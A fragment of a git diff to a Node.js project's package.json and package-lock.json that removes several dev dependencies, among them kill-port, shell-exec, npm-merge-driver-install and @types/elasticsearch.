"^2.0.0", - "micromark-extension-gfm-table": "^2.0.0", "mkdirp": "^3.0.0", "mockdate": "^3.0.5", "nock": "^14.0.0", "nodemon": "3.1.3", - "npm-merge-driver-install": "^3.0.0", - "nth-check": "2.1.1", "prettier": "^3.3.2", "rimraf": "^6.0.0", "robots-parser": "^3.0.0", @@ -4114,12 +4108,6 @@ "@types/ms": "*" } }, - "node_modules/@types/elasticsearch": { - "version": "5.0.43", - "resolved": "https://registry.npmjs.org/@types/elasticsearch/-/elasticsearch-5.0.43.tgz", - "integrity": "sha512-N+MpzURpDCWd7zaJ7CE1aU+nBSeAABLhDE0lGodQ0LLftx7ku6hjTXLr9OAFZLSXiWL3Xxx8jts485ynrcm5NA==", - "dev": true - }, "node_modules/@types/estree": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", @@ -8244,11 +8232,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/get-them-args": { - "version": "1.3.2", - "dev": true, - "license": "MIT" - }, "node_modules/get-tsconfig": { "version": "4.7.5", "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.7.5.tgz", @@ -9933,18 +9916,6 @@ "json-buffer": "3.0.1" } }, - "node_modules/kill-port": { - "version": "2.0.1", - "dev": true, - "license": "MIT", - "dependencies": { - "get-them-args": "1.3.2", - "shell-exec": "1.0.2" - }, - "bin": { - "kill-port": "cli.js" - } - }, "node_modules/kind-of": { "version": "6.0.3", "license": "MIT", @@ -12392,17 +12363,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/npm-merge-driver-install": { - "version": "3.0.0", - "dev": true, - "license": "Apache-2.0", - "bin": { - "npm-merge-driver-install": "src/install.js", - "npm-merge-driver-is-installed": "src/is-installed.js", - "npm-merge-driver-merge": "src/merge.js", - "npm-merge-driver-uninstall": "src/uninstall.js" - } - }, "node_modules/npm-run-path": { "version": "4.0.1", "dev": true, @@ -13940,11 +13900,6 @@ "node": ">=8" } }, - "node_modules/shell-exec": { - "version": "1.0.2", - "dev": true, - "license": "MIT" - }, "node_modules/side-channel": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", diff --git a/package.json b/package.json index 91bc62b84fa0..01e1793c038f 100644 --- a/package.json +++ b/package.json @@ -344,7 +344,6 @@ "@types/connect-timeout": "0.0.39", "@types/cookie": "0.6.0", "@types/cookie-parser": "1.4.7", - "@types/elasticsearch": "^5.0.43", "@types/event-to-promise": "^0.7.5", "@types/express": "4.17.21", "@types/imurmurhash": "^0.1.4", @@ -380,18 +379,13 @@ "http-status-code": "^2.1.0", "husky": "^9.1.4", "json-schema-merge-allof": "^0.8.1", - "kill-port": "2.0.1", "lint-staged": "^15.2.9", "markdownlint": "^0.34.0", "markdownlint-rule-search-replace": "^1.2.0", - "mdast-util-gfm-table": "^2.0.0", - "micromark-extension-gfm-table": "^2.0.0", "mkdirp": "^3.0.0", "mockdate": "^3.0.5", "nock": "^14.0.0", "nodemon": "3.1.3", - "npm-merge-driver-install": "^3.0.0", - "nth-check": "2.1.1", "prettier": "^3.3.2", "rimraf": "^6.0.0", "robots-parser": "^3.0.0",